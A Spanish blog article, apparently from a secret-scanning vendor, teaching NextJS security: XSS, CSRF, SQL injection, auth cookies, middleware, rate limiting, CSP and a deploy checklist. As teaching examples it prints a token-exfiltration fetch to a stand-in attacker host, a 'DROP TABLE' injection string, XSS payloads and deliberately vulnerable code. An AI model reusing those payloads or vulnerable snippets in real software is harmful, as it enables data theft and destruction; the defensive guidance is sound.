seguridad·16 min de lectura

Seguridad en Aplicaciones NextJS: guía Completa para Desarrolladores

guía práctica de seguridad en NextJS. XSS, CSRF, SQL Injection, autenticación, middleware, rate limiting, CSP headers y checklist de seguridad antes de deploy.

Seguridad en Aplicaciones NextJS: guía para Desarrolladores

La seguridad en NextJS no es una funcionalidad que agregas al final del proyecto. Es parte del desarrollo desde el primer commit. Esta guía cubre las vulnerabilidades más comunes en aplicaciones web, cómo se manifiestan en NextJS y React, y que puedes hacer para proteger tu aplicación con código concreto.

No vamos a cubrir teoria abstracta. Cada sección tiene código que puedes implementar directamente en tu proyecto.

por qué seguridad importa desde el día uno

Un error común es pensar que la seguridad es responsabilidad del equipo de DevOps o de alguien más. La realidad es que la mayoria de vulnerabilidades se introducen en el código de la aplicación, no en la infraestructura.

Datos del OWASP Top 10 muestran que las vulnerabilidades más explotadas en aplicaciones web son prevenibles con buenas prácticas de código:

  • Inyección (SQL, NoSQL, comandos): datos de usuario ejecutados como código
  • Autenticación rota: tokens mal manejados, sesiones que no expiran
  • Exposición de datos: secrets en repos, respuestas con datos de más
  • XSS: scripts maliciosos ejecutados en el navegador del usuario
  • CSRF: acciones ejecutadas sin el consentimiento del usuario

NextJS te da herramientas para mitigar cada una. Veamos como.

OWASP Top 10 resumido para NextJS

El OWASP Top 10 es el estandar de referencia para vulnerabilidades en aplicaciones web. Esto es lo que aplica directamente a tu stack de NextJS:

Vulnerabilidad OWASPRelevancia en NextJSSección
A01: Broken Access ControlMiddleware, Server ComponentsAuthorization
A02: Cryptographic FailuresVariables de entorno, HTTPSAutenticación
A03: InjectionServer Actions, API RoutesSQL Injection
A05: Security MisconfigurationHeaders, CSPHeaders de seguridad
A07: XSSReact components, dangerouslySetInnerHTMLXSS
A08: CSRFServer Actions, formulariosCSRF
No todo aplica igual

Algunas categorías de OWASP como "Vulnerable and Outdated Components" se manejan a nivel de dependencias (npm audit), no a nivel de código. aquí nos enfocamos en lo que puedes controlar directamente desde tu aplicación NextJS.

XSS: Como prevenirlo en React y NextJS

Cross-Site Scripting (XSS) ocurre cuando un atacante logra ejecutar JavaScript malicioso en el navegador de otro usuario. En una aplicación React, esto es menos común gracias a que JSX escapa el contenido automáticamente, pero no es imposible.

React te protege por defecto

tsx
// Esto es SEGURO - React escapa el contenido
function Comentario({ texto }: { texto: string }) {
  return <p>{texto}</p>
}
 
// Si texto = "<script>alert('hackeado')</script>"
// React renderiza el texto literal, no ejecuta el script

Donde si hay riesgo: dangerouslySetInnerHTML

tsx
// PELIGROSO - Esto ejecuta HTML sin escapar
function ContenidoHTML({ html }: { html: string }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />
}
 
// Si html viene de un usuario, puede contener scripts maliciosos

La solución: sanitizar el HTML

Si necesitas renderizar HTML externo (por ejemplo, contenido de un CMS o un editor WYSIWYG), sanitizalo primero:

bash
npm install isomorphic-dompurify
tsx
import DOMPurify from 'isomorphic-dompurify'
 
function ContenidoSeguro({ html }: { html: string }) {
  const htmlLimpio = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'br', 'h2', 'h3'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
  })
 
  return <div dangerouslySetInnerHTML={{ __html: htmlLimpio }} />
}
Nunca confies en el input del usuario

Aunque uses DOMPurify, configura una lista explicita de tags y atributos permitidos. La configuración por defecto es permisiva. Ser restrictivo es mejor que ser permisivo cuando se trata de HTML externo.

Otros vectores de XSS en NextJS

tsx
// PELIGROSO - URLs con javascript:
function Link({ url }: { url: string }) {
  // Si url = "javascript:alert('xss')", se ejecuta al hacer click
  return <a href={url}>Click aquí</a>
}
 
// SEGURO - válida el protocolo
function LinkSeguro({ url }: { url: string }) {
  const urlSegura = url.startsWith('http://') || url.startsWith('https://')
    ? url
    : '#'
 
  return <a href={urlSegura}>Click aquí</a>
}
tsx
// PELIGROSO - Estilos dinámicos sin validar
function Avatar({ color }: { color: string }) {
  // Si color = "red; background-image: url(javascript:...)"
  return <div style={{ backgroundColor: color }} />
}
 
// SEGURO - Usa una allowlist
const COLORES_PERMITIDOS = ['red', 'blue', 'green', 'gray'] as const
 
function AvatarSeguro({ color }: { color: string }) {
  const colorSeguro = COLORES_PERMITIDOS.includes(color as any)
    ? color
    : 'gray'
 
  return <div style={{ backgroundColor: colorSeguro }} />
}

CSRF: Protección con Server Actions y tokens

Cross-Site Request Forgery (CSRF) ocurre cuando un sitio malicioso hace que el navegador del usuario envie una petición a tu aplicación aprovechando las cookies de sesión activas.

Server Actions de NextJS ya incluyen protección

NextJS genera automáticamente un token CSRF para cada Server Action. Esto significa que si usas Server Actions para mutaciones, ya tienes protección básica:

tsx
// app/perfil/page.tsx
export default function PerfilPage() {
  async function actualizarNombre(formData: FormData) {
    'use server'
 
    const nombre = formData.get('nombre') as string
 
    // NextJS verifica automáticamente el token CSRF
    // antes de ejecutar esta función
    await db.usuario.update({
      where: { id: sesión.userId },
      data: { nombre },
    })
  }
 
  return (
    <form action={actualizarNombre}>
      <input name="nombre" type="text" required />
      <button type="submit">Guardar</button>
    </form>
  )
}

Para API Routes: implementa tokens CSRF manualmente

Si usas API Routes en lugar de Server Actions, necesitas manejar la protección tu mismo:

tsx
// lib/csrf.ts
import { randomBytes } from 'crypto'
import { cookies } from 'next/headers'
 
export async function generarTokenCSRF(): Promise<string> {
  const token = randomBytes(32).toString('hex')
  const cookieStore = await cookies()
 
  cookieStore.set('csrf-token', token, {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'strict',
    path: '/',
    maxAge: 60 * 60, // 1 hora
  })
 
  return token
}
 
export async function verificarTokenCSRF(token: string): Promise<boolean> {
  const cookieStore = await cookies()
  const tokenGuardado = cookieStore.get('csrf-token')?.value
 
  if (!tokenGuardado || !token) return false
 
  // Comparación en tiempo constante para prevenir timing attacks
  const encoder = new TextEncoder()
  const a = encoder.encode(tokenGuardado)
  const b = encoder.encode(token)
 
  if (a.byteLength !== b.byteLength) return false
 
  return crypto.subtle.timingSafeEqual(a, b)
}
tsx
// app/api/perfil/route.ts
import { verificarTokenCSRF } from '@/lib/csrf'
import { NextRequest, NextResponse } from 'next/server'
 
export async function POST(request: NextRequest) {
  const body = await request.json()
  const tokenValido = await verificarTokenCSRF(body.csrfToken)
 
  if (!tokenValido) {
    return NextResponse.json(
      { error: 'Token CSRF invalido' },
      { status: 403 }
    )
  }
 
  // Procesar la solicitud
  // ...
}
Prefiere Server Actions

Si puedes usar Server Actions en lugar de API Routes para mutaciones, hazlo. La protección CSRF viene integrada y no tienes que manejar tokens manualmente.

SQL Injection: ORM como defensa principal

SQL Injection ocurre cuando datos del usuario se insertan directamente en una consulta SQL. Aunque suena a vulnerabilidad de 2005, sigue siendo una de las más comunes.

El problema: consultas sin parametrizar

tsx
// PELIGROSO - SQL Injection directo
import { sql } from '@vercel/postgres'
 
async function buscarUsuario(email: string) {
  // Si email = "'; DROP TABLE usuarios; --"
  // Se ejecuta: SELECT * FROM usuarios WHERE email = ''; DROP TABLE usuarios; --'
  const resultado = await sql.query(
    `SELECT * FROM usuarios WHERE email = '${email}'`
  )
  return resultado.rows[0]
}

La solución: queries parametrizadas

tsx
// SEGURO - Query parametrizada
import { sql } from '@vercel/postgres'
 
async function buscarUsuario(email: string) {
  // El valor se pasa como parámetro, nunca se interpola en el SQL
  const resultado = await sql`
    SELECT * FROM usuarios WHERE email = ${email}
  `
  return resultado.rows[0]
}

ORMs: defensa por defecto

Si usas un ORM como Prisma o Drizzle, las queries estan parametrizadas automáticamente:

tsx
// SEGURO - Prisma parametriza automáticamente
async function buscarUsuario(email: string) {
  const usuario = await prisma.usuario.findUnique({
    where: { email }, // Prisma escapa el valor
  })
  return usuario
}
tsx
// SEGURO - Drizzle también parametriza
import { eq } from 'drizzle-orm'
import { usuarios } from '@/db/schema'
 
async function buscarUsuario(email: string) {
  const resultado = await db
    .select()
    .from(usuarios)
    .where(eq(usuarios.email, email)) // Drizzle escapa el valor
  return resultado[0]
}

Cuidado con raw queries

Incluso con un ORM, si usas raw queries, el riesgo vuelve:

tsx
// PELIGROSO - raw query sin parametrizar
const resultado = await prisma.$queryRawUnsafe(
  `SELECT * FROM usuarios WHERE nombre LIKE '%${búsqueda}%'`
)
 
// SEGURO - raw query parametrizada
const resultado = await prisma.$queryRaw`
  SELECT * FROM usuarios WHERE nombre LIKE ${`%${búsqueda}%`}
`

Autenticación: mejores prácticas

La autenticación es donde más errores de seguridad se cometen. Estas son las reglas fundamentales.

Nunca guardes tokens en localStorage

tsx
// MALO - localStorage es accesible desde cualquier script
localStorage.setItem('token', response.token)
 
// Si hay una vulnerabilidad XSS, el atacante roba el token:
// fetch('https://atacante.com/robar?token=' + localStorage.getItem('token'))

Usa httpOnly cookies

tsx
// lib/auth.ts
import { cookies } from 'next/headers'
import { SignJWT, jwtVerify } from 'jose'
 
const SECRET = new TextEncoder().encode(process.env.JWT_SECRET)
 
export async function crearSesion(userId: string) {
  const token = await new SignJWT({ userId })
    .setProtectedHeader({ alg: 'HS256' })
    .setExpirationTime('7d')
    .setIssuedAt()
    .sign(SECRET)
 
  const cookieStore = await cookies()
  cookieStore.set('session', token, {
    httpOnly: true,     // No accesible desde JavaScript
    secure: true,       // Solo HTTPS
    sameSite: 'strict', // No se envia en peticiones cross-origin
    maxAge: 60 * 60 * 24 * 7, // 7 días
    path: '/',
  })
}
 
export async function obtenerSesion() {
  const cookieStore = await cookies()
  const token = cookieStore.get('session')?.value
 
  if (!token) return null
 
  try {
    const { payload } = await jwtVerify(token, SECRET)
    return payload as { userId: string }
  } catch {
    return null
  }
}
 
export async function cerrarSesion() {
  const cookieStore = await cookies()
  cookieStore.delete('session')
}

Hashea passwords correctamente

tsx
// lib/password.ts
import { hash, verify } from '@node-rs/argon2'
 
// Argon2id es el algoritmo recomendado actualmente
export async function hashearPassword(password: string): Promise<string> {
  return hash(password, {
    memoryCost: 19456,  // 19 MB
    timeCost: 2,
    parallelism: 1,
  })
}
 
export async function verificarPassword(
  password: string,
  hashGuardado: string
): Promise<boolean> {
  return verify(hashGuardado, password)
}
Variables de entorno

Tu JWT_SECRET y cualquier otro secret deben estar en variables de entorno, nunca en el código. Si necesitas una guía para configurar esto correctamente, revisa variables de entorno en NextJS y Vercel.

Checklist de autenticación

  • httpOnly cookies para tokens de sesión
  • Passwords hasheados con Argon2id o bcrypt (nunca MD5 o SHA)
  • Tokens con expiración corta (7 días máximo para sesiones)
  • Rotación de tokens en cada request o periodicamente
  • Rate limiting en endpoints de login
  • Validación de password strength en registro

Authorization: Middleware de NextJS para proteger rutas

Autenticación es verificar quien eres. Authorization es verificar que puedes hacer. NextJS Middleware es perfecto para esto porque se ejecuta antes de que la página cargue.

Middleware básico de autenticación

tsx
// middleware.ts
import { NextRequest, NextResponse } from 'next/server'
import { jwtVerify } from 'jose'
 
const SECRET = new TextEncoder().encode(process.env.JWT_SECRET)
 
// Rutas que requieren autenticación
const RUTAS_PROTEGIDAS = ['/dashboard', '/perfil', '/configuración']
 
// Rutas solo para usuarios no autenticados
const RUTAS_AUTH = ['/login', '/registro']
 
export async function middleware(request: NextRequest) {
  const token = request.cookies.get('session')?.value
  const path = request.nextUrl.pathname
 
  // Verificar si el token es válido
  let sesionValida = false
  if (token) {
    try {
      await jwtVerify(token, SECRET)
      sesionValida = true
    } catch {
      // Token invalido o expirado
      sesionValida = false
    }
  }
 
  // Redirigir si accede a ruta protegida sin sesión
  const esRutaProtegida = RUTAS_PROTEGIDAS.some(ruta =>
    path.startsWith(ruta)
  )
 
  if (esRutaProtegida && !sesionValida) {
    const loginUrl = new URL('/login', request.url)
    loginUrl.searchParams.set('redirect', path)
    return NextResponse.redirect(loginUrl)
  }
 
  // Redirigir si ya tiene sesión y accede a login/registro
  const esRutaAuth = RUTAS_AUTH.some(ruta => path.startsWith(ruta))
 
  if (esRutaAuth && sesionValida) {
    return NextResponse.redirect(new URL('/dashboard', request.url))
  }
 
  return NextResponse.next()
}
 
export const config = {
  matcher: ['/dashboard/:path*', '/perfil/:path*', '/configuración/:path*', '/login', '/registro'],
}

Authorization por roles

tsx
// middleware.ts - versión con roles
import { NextRequest, NextResponse } from 'next/server'
import { jwtVerify } from 'jose'
 
const SECRET = new TextEncoder().encode(process.env.JWT_SECRET)
 
type Role = 'usuario' | 'editor' | 'admin'
 
interface PermisoRuta {
  path: string
  roles: Role[]
}
 
const PERMISOS: PermisoRuta[] = [
  { path: '/dashboard', roles: ['usuario', 'editor', 'admin'] },
  { path: '/editor', roles: ['editor', 'admin'] },
  { path: '/admin', roles: ['admin'] },
]
 
export async function middleware(request: NextRequest) {
  const token = request.cookies.get('session')?.value
  const path = request.nextUrl.pathname
 
  if (!token) {
    return NextResponse.redirect(new URL('/login', request.url))
  }
 
  try {
    const { payload } = await jwtVerify(token, SECRET)
    const userRole = payload.role as Role
 
    const permiso = PERMISOS.find(p => path.startsWith(p.path))
 
    if (permiso && !permiso.roles.includes(userRole)) {
      // El usuario no tiene permiso para esta ruta
      return NextResponse.redirect(new URL('/sin-acceso', request.url))
    }
 
    // Agregar info del usuario al header para usarla en Server Components
    const headers = new Headers(request.headers)
    headers.set('x-user-id', payload.userId as string)
    headers.set('x-user-role', userRole)
 
    return NextResponse.next({ headers })
  } catch {
    return NextResponse.redirect(new URL('/login', request.url))
  }
}

Verificación en Server Components

El middleware protege las rutas, pero también debes verificar permisos en tus Server Components para operaciones especificas:

tsx
// app/admin/usuarios/page.tsx
import { obtenerSesion } from '@/lib/auth'
import { redirect } from 'next/navigation'
 
export default async function AdminUsuariosPage() {
  const sesión = await obtenerSesion()
 
  if (!sesión || sesión.role !== 'admin') {
    redirect('/sin-acceso')
  }
 
  const usuarios = await db.usuario.findMany()
 
  return (
    <div>
      <h1>Administrar Usuarios</h1>
      {/* renderizar tabla de usuarios */}
    </div>
  )
}

Rate Limiting en API Routes

Sin rate limiting, un atacante puede hacer miles de peticiones por segundo a tu API. Esto puede causar desde consumo excesivo de recursos hasta ataques de fuerza bruta contra tu endpoint de login.

Implementación con Upstash

bash
npm install @upstash/ratelimit @upstash/redis
tsx
// lib/rate-limit.ts
import { Ratelimit } from '@upstash/ratelimit'
import { Redis } from '@upstash/redis'
 
// Crear instancia de Redis con Upstash
const redis = new Redis({
  url: process.env.UPSTASH_REDIS_REST_URL!,
  token: process.env.UPSTASH_REDIS_REST_TOKEN!,
})
 
// Rate limiter: 10 peticiones por 10 segundos por IP
export const rateLimiter = new Ratelimit({
  redis,
  limiter: Ratelimit.slidingWindow(10, '10 s'),
  analytics: true,
})
 
// Rate limiter más estricto para login
export const loginRateLimiter = new Ratelimit({
  redis,
  limiter: Ratelimit.slidingWindow(5, '60 s'), // 5 intentos por minuto
  analytics: true,
})
tsx
// app/api/login/route.ts
import { loginRateLimiter } from '@/lib/rate-limit'
import { NextRequest, NextResponse } from 'next/server'
 
export async function POST(request: NextRequest) {
  // Obtener IP del cliente
  const ip = request.headers.get('x-forwarded-for') ?? 'anonymous'
 
  // Verificar rate limit
  const { success, limit, reset, remaining } = await loginRateLimiter.limit(ip)
 
  if (!success) {
    return NextResponse.json(
      { error: 'Demasiados intentos. Intenta de nuevo más tarde.' },
      {
        status: 429,
        headers: {
          'X-RateLimit-Limit': limit.toString(),
          'X-RateLimit-Remaining': remaining.toString(),
          'X-RateLimit-Reset': reset.toString(),
          'Retry-After': Math.ceil((reset - Date.now()) / 1000).toString(),
        },
      }
    )
  }
 
  // Procesar login normalmente
  const body = await request.json()
  // ... validar credenciales
}

Rate limiting en Middleware (global)

tsx
// middleware.ts - Agregar rate limiting global
import { rateLimiter } from '@/lib/rate-limit'
 
export async function middleware(request: NextRequest) {
  // Solo rate limit en API routes
  if (request.nextUrl.pathname.startsWith('/api/')) {
    const ip = request.headers.get('x-forwarded-for') ?? 'anonymous'
    const { success } = await rateLimiter.limit(ip)
 
    if (!success) {
      return NextResponse.json(
        { error: 'Rate limit excedido' },
        { status: 429 }
      )
    }
  }
 
  // Resto de la lógica del middleware...
  return NextResponse.next()
}

Content Security Policy (CSP)

Content Security Policy es un header HTTP que le dice al navegador que recursos puede cargar tu página. Es una de las defensas más efectivas contra XSS porque incluso si un atacante logra inyectar un script, el navegador lo bloquea si no esta en la lista permitida.

Configuración en next.config.ts

tsx
// next.config.ts
import type { NextConfig } from 'next'
 
const nextConfig: NextConfig = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: [
              "default-src 'self'",
              "script-src 'self' 'unsafe-inline' 'unsafe-eval'",
              "style-src 'self' 'unsafe-inline'",
              "img-src 'self' data: https:",
              "font-src 'self'",
              "connect-src 'self' https://api.tudominio.com",
              "frame-ancestors 'none'",
              "base-uri 'self'",
              "form-action 'self'",
            ].join('; '),
          },
        ],
      },
    ]
  },
}
 
export default nextConfig
unsafe-inline y unsafe-eval

NextJS necesita 'unsafe-inline' para los estilos inyectados y puede necesitar 'unsafe-eval' en desarrollo. En producción, puedes usar nonces para eliminar 'unsafe-inline' en scripts. La documentación de seguridad de NextJS explica cómo implementar nonces con middleware.

CSP con nonces (más seguro)

tsx
// middleware.ts
import { NextRequest, NextResponse } from 'next/server'
 
export function middleware(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
 
  const cspHeader = [
    "default-src 'self'",
    `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
    `style-src 'self' 'nonce-${nonce}'`,
    "img-src 'self' data: https:",
    "font-src 'self'",
    "connect-src 'self'",
    "frame-ancestors 'none'",
    "base-uri 'self'",
    "form-action 'self'",
  ].join('; ')
 
  const headers = new Headers(request.headers)
  headers.set('x-nonce', nonce)
 
  const response = NextResponse.next({ headers })
  response.headers.set('Content-Security-Policy', cspHeader)
 
  return response
}
tsx
// app/layout.tsx
import { headers } from 'next/headers'
 
export default async function RootLayout({
  children,
}: {
  children: React.ReactNode
}) {
  const headersList = await headers()
  const nonce = headersList.get('x-nonce') ?? ''
 
  return (
    <html lang="es" nonce={nonce}>
      <body>{children}</body>
    </html>
  )
}

Para una configuración más detallada de headers de seguridad, incluyendo HSTS, X-Frame-Options y Permissions-Policy, revisa la guía de headers de seguridad para aplicaciones web.

Validación de inputs

Cada dato que entra a tu aplicación desde el exterior es potencialmente malicioso. Formularios, query params, headers, cookies, todo debe validarse antes de usarse.

Validación con Zod en Server Actions

Si todavia no usas Zod, revisa la guía completa de Zod para validación. aquí va un ejemplo aplicado a seguridad:

tsx
// app/actions/crear-usuario.ts
'use server'
 
import { z } from 'zod'
 
const CrearUsuarioSchema = z.object({
  email: z.string()
    .email('Email invalido')
    .max(255, 'Email demasiado largo')
    .toLowerCase()
    .trim(),
 
  nombre: z.string()
    .min(2, 'Nombre muy corto')
    .max(100, 'Nombre muy largo')
    .trim()
    .regex(/^[a-zA-ZÀ-ÿ\s]+$/, 'El nombre solo puede contener letras'),
 
  password: z.string()
    .min(8, 'mínimo 8 caracteres')
    .max(128, 'Password demasiado largo')
    .regex(/[A-Z]/, 'Debe contener al menos una mayuscula')
    .regex(/[a-z]/, 'Debe contener al menos una minuscula')
    .regex(/[0-9]/, 'Debe contener al menos un número'),
})
 
export async function crearUsuario(formData: FormData) {
  const datosRaw = {
    email: formData.get('email'),
    nombre: formData.get('nombre'),
    password: formData.get('password'),
  }
 
  // Validar ANTES de hacer cualquier cosa
  const resultado = CrearUsuarioSchema.safeParse(datosRaw)
 
  if (!resultado.success) {
    return {
      error: resultado.error.flatten().fieldErrors,
    }
  }
 
  // Los datos ya estan validados y tipados
  const { email, nombre, password } = resultado.data
 
  // Proceder con la creación del usuario
  const passwordHash = await hashearPassword(password)
 
  await db.usuario.create({
    data: { email, nombre, passwordHash },
  })
 
  return { success: true }
}

Validación de query params en API Routes

tsx
// app/api/usuarios/route.ts
import { z } from 'zod'
import { NextRequest, NextResponse } from 'next/server'
 
const BusquedaSchema = z.object({
  q: z.string().max(100).optional(),
  página: z.coerce.number().int().min(1).default(1),
  límite: z.coerce.number().int().min(1).max(100).default(20),
  orden: z.enum(['nombre', 'fecha', 'email']).default('fecha'),
})
 
export async function GET(request: NextRequest) {
  const searchParams = Object.fromEntries(request.nextUrl.searchParams)
  const resultado = BusquedaSchema.safeParse(searchParams)
 
  if (!resultado.success) {
    return NextResponse.json(
      { error: 'parámetros invalidos', detalles: resultado.error.flatten() },
      { status: 400 }
    )
  }
 
  const { q, página, límite, orden } = resultado.data
 
  // Usar los parámetros validados
  const usuarios = await db.usuario.findMany({
    where: q ? { nombre: { contains: q } } : undefined,
    skip: (página - 1) * límite,
    take: límite,
    orderBy: { [orden]: 'asc' },
  })
 
  return NextResponse.json(usuarios)
}

No solo valides en el cliente

La validación del lado del cliente es para mejorar la experiencia del usuario. La validación del servidor es para proteger tu aplicación. Siempre necesitas ambas.

Cuando hagas peticiones con fetch desde el cliente, válida la respuesta también. No asumas que la API siempre responde con el formato esperado.

Manejo seguro de variables de entorno

Las variables de entorno son uno de los vectores de ataque más comunes. Un .env commiteado accidentalmente puede exponer tu base de datos, API keys y secrets a todo el mundo.

Reglas básicas

tsx
// NUNCA expongas variables del servidor al cliente
// En NextJS, solo variables con prefijo NEXT_PUBLIC_ son accesibles en el cliente
 
// .env.local
DATABASE_URL="postgresql://..."           // Solo servidor
JWT_SECRET="..."                          // Solo servidor
NEXT_PUBLIC_API_URL="https://api.com"     // Cliente y servidor
tsx
// válida que las variables existan al inicio
// lib/env.ts
import { z } from 'zod'
 
const envSchema = z.object({
  DATABASE_URL: z.string().url(),
  JWT_SECRET: z.string().min(32),
  UPSTASH_REDIS_REST_URL: z.string().url(),
  UPSTASH_REDIS_REST_TOKEN: z.string().min(1),
})
 
// Esto lanza un error al inicio si falta alguna variable
export const env = envSchema.parse(process.env)

Escanear tu repo por secrets expuestos

Un error común es commitear un .env o hardcodear un API key en algún archivo. Para detectar esto automáticamente, datahogo escanea tu repositorio de GitHub y te alerta si encuentra credenciales expuestas.

Evalúa tu seguridad contra OWASP Top 10

Auditoría OWASP gratuita -- 10 preguntas, un grade A-F por cada categoría del OWASP Top 10 y recomendaciones específicas. Toma menos de 2 minutos, sin registro.

además de herramientas externas, agrega .env* a tu .gitignore desde el primer commit:

bash
# .gitignore
.env
.env.local
.env.development.local
.env.test.local
.env.production.local

Checklist de seguridad antes de deploy

Antes de deployar tu aplicación NextJS a producción, verifica cada uno de estos puntos:

Protección contra ataques

  • XSS: No usas dangerouslySetInnerHTML con contenido de usuarios sin sanitizar
  • CSRF: Usas Server Actions o implementas tokens CSRF en API Routes
  • SQL Injection: Todas las queries estan parametrizadas o usan un ORM
  • Rate limiting: Endpoints de login y API tienen límites de peticiones

Autenticación y autorización

  • Tokens en httpOnly cookies, no en localStorage
  • Passwords hasheados con Argon2id o bcrypt
  • Middleware protege rutas que requieren autenticación
  • Verificación de roles en Server Components para operaciones sensibles
  • Sesiones con expiración configurada

Headers de seguridad

  • Content-Security-Policy configurado
  • Strict-Transport-Security habilitado
  • X-Content-Type-Options: nosniff presente
  • X-Frame-Options: DENY presente
  • Referrer-Policy configurado

Variables de entorno y secrets

  • .env en .gitignore desde el primer commit
  • Variables de entorno validadas con Zod al inicio
  • No hay secrets hardcodeados en el código
  • Solo variables NEXT_PUBLIC_ expuestas al cliente
  • Repo escaneado con una herramienta de detección de secrets

Validación de datos

  • Todos los inputs validados en el servidor con Zod
  • Query params validados en API Routes
  • Tipos de archivo validados en uploads
  • tamaño de payload limitado en API Routes

Dependencias

  • npm audit sin vulnerabilidades críticas
  • Dependencias actualizadas a versiones con parches de seguridad
  • Lock file (package-lock.json) commiteado

No necesitas implementar todo de golpe. Empieza con lo crítico (autenticación, validación de inputs, variables de entorno) y ve agregando capas de seguridad incrementalmente. Cada punto que marques reduce significativamente la superficie de ataque.

Errores comunes de seguridad en NextJS

Estos son errores que veo frecuentemente en proyectos de NextJS. Revisa que tu proyecto no tenga ninguno:

1. Exponer datos sensibles en Server Components

tsx
// MALO - El objeto completo llega al cliente como props
async function PerfilPage() {
  const usuario = await db.usuario.findUnique({ where: { id } })
  // usuario incluye passwordHash, secret, etc.
  return <PerfilForm usuario={usuario} />
}
 
// BIEN - Solo enviar los datos necesarios
async function PerfilPage() {
  const usuario = await db.usuario.findUnique({
    where: { id },
    select: { nombre: true, email: true, avatar: true },
  })
  return <PerfilForm usuario={usuario} />
}

2. Server Actions sin verificar autorización

tsx
// MALO - Cualquiera puede eliminar cualquier post
async function eliminarPost(postId: string) {
  'use server'
  await db.post.delete({ where: { id: postId } })
}
 
// BIEN - Verificar que el usuario es dueno del post
async function eliminarPost(postId: string) {
  'use server'
  const sesión = await obtenerSesion()
  if (!sesión) throw new Error('No autenticado')
 
  const post = await db.post.findUnique({ where: { id: postId } })
  if (post?.autorId !== sesión.userId) throw new Error('No autorizado')
 
  await db.post.delete({ where: { id: postId } })
}

3. Redirect abierto

tsx
// MALO - El usuario puede redirigir a cualquier sitio
export async function GET(request: NextRequest) {
  const redirect = request.nextUrl.searchParams.get('redirect')
  return NextResponse.redirect(redirect!) // Puede ser https://atacante.com
}
 
// BIEN - Solo permitir rutas internas
export async function GET(request: NextRequest) {
  const redirect = request.nextUrl.searchParams.get('redirect') ?? '/dashboard'
 
  // Verificar que sea una ruta interna
  const url = new URL(redirect, request.url)
  if (url.origin !== request.nextUrl.origin) {
    return NextResponse.redirect(new URL('/dashboard', request.url))
  }
 
  return NextResponse.redirect(url)
}

Resumen

La seguridad en NextJS no requiere ser experto en criptografia. Requiere disciplina para aplicar patrones consistentes:

  1. Nunca confies en datos del exterior -- válida todo con Zod
  2. React te protege de XSS por defecto -- no lo desactives con dangerouslySetInnerHTML
  3. Usa Server Actions -- la protección CSRF viene incluida
  4. Usa un ORM -- la protección contra SQL Injection viene incluida
  5. httpOnly cookies para tokens -- nunca localStorage
  6. Middleware para proteger rutas -- es la primera línea de defensa
  7. Rate limiting -- protege contra fuerza bruta y abuso
  8. CSP headers -- la segunda capa contra XSS
  9. Variables de entorno seguras -- configuralas correctamente
  10. Escanea tu repo -- verifica que no tengas secrets expuestos

La seguridad es un proceso continuo, no un checklist que completas una vez. Cada feature nuevo es una oportunidad para introducir una vulnerabilidad, y cada code review es una oportunidad para detectarla antes de que llegue a producción.

#nextjs#seguridad#xss#csrf#autenticación#owasp

Preguntas frecuentes

¿Cómo prevenir XSS en una aplicación NextJS?

React escapa automáticamente el contenido renderizado en JSX, lo que previene la mayoria de ataques XSS. Evita usar dangerouslySetInnerHTML con contenido de usuarios. Si necesitas renderizar HTML externo, sanitizalo con una librería como DOMPurify antes de pasarlo al componente.

¿Es seguro guardar tokens de autenticación en localStorage?

No. localStorage es accesible desde cualquier script JavaScript en la página, incluyendo scripts inyectados por XSS. Usa httpOnly cookies que no son accesibles desde JavaScript del cliente. Configuralas con los flags Secure, SameSite=Strict y un tiempo de expiración corto.

¿Cómo implementar rate limiting en API Routes de NextJS?

Puedes usar librerías como upstash/ratelimit con un store en Redis para limitar peticiones por IP o por usuario. Configura el rate limiter en tu API Route o middleware y responde con status 429 cuando se exceda el límite.

¿Qué es Content Security Policy y cómo se configura en NextJS?

Content Security Policy (CSP) es un header HTTP que le indica al navegador que recursos puede cargar la página. Se configura en next.config.ts dentro del arreglo headers o en un middleware personalizado. Restringe fuentes de scripts, estilos, imágenes y conexiones para prevenir ataques XSS e inyección de contenido.

¿Necesito validar inputs en el servidor si ya válido en el cliente?

Si, siempre. La validación del cliente se puede saltar con cualquier herramienta de desarrollo o petición HTTP directa. La validación del servidor es la única que realmente protege tu aplicación. Usa una librería como Zod para definir schemas que validen en ambos lados.